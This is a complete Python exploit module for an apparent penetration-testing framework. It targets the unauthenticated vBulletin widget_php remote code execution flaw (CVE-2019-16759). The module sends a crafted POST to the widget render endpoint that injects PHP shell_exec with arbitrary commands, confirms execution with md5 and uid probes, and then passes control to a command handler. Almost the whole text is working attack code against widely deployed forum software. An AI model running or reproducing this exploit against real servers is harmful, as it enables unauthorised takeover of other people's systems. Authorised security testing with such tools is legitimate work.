vBulletin widget_php RCE (CVE-2019-16759)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""vBulletin widget_php RCE (CVE-2019-16759)."""

import hashlib
import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'vBulletin widget_php RCE (CVE-2019-16759)',
        'description': (
            'Exploits CVE-2019-16759 in vBulletin 5.0.0–5.5.4 via unauthenticated '
            'ajax/render/widget_tabbedcontainer_tab_panel widget_php template injection.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2019-16759'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2019-16759',
            'https://seclists.org/fulldisclosure/2019/Sep/31',
        ],
        'tags': ['vbulletin', 'php', 'rce', 'unauth', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2019_16759_detect'],
            },
        },
    }

    render_path = OptString(
        '/ajax/render/widget_tabbedcontainer_tab_panel',
        'Widget render endpoint',
        required=False,
        advanced=True,
    )

    def _php_code(self, cmd: str) -> str:
        safe = str(cmd).replace("'", "\\'")
        return f"echo shell_exec('{safe}');"

    def execute(self, cmd: str) -> str:
        path = str(self.render_path or '/ajax/render/widget_tabbedcontainer_tab_panel').strip()
        code = urllib.parse.quote(self._php_code(cmd), safe='')
        data = f'subWidgets[0][template]=widget_php&subWidgets[0][config][code]={code}'
        r = self.http_request(
            method='POST',
            path=path,
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        probe = 'echo md5("CVE-2019-16759");'
        body = self.execute(probe)
        expected = hashlib.md5(b'CVE-2019-16759').hexdigest()
        if expected in (body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2019-16759 widget_php RCE confirmed', 'confidence': 'high'}
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'Command output via widget_php', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'widget_php RCE not confirmed', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()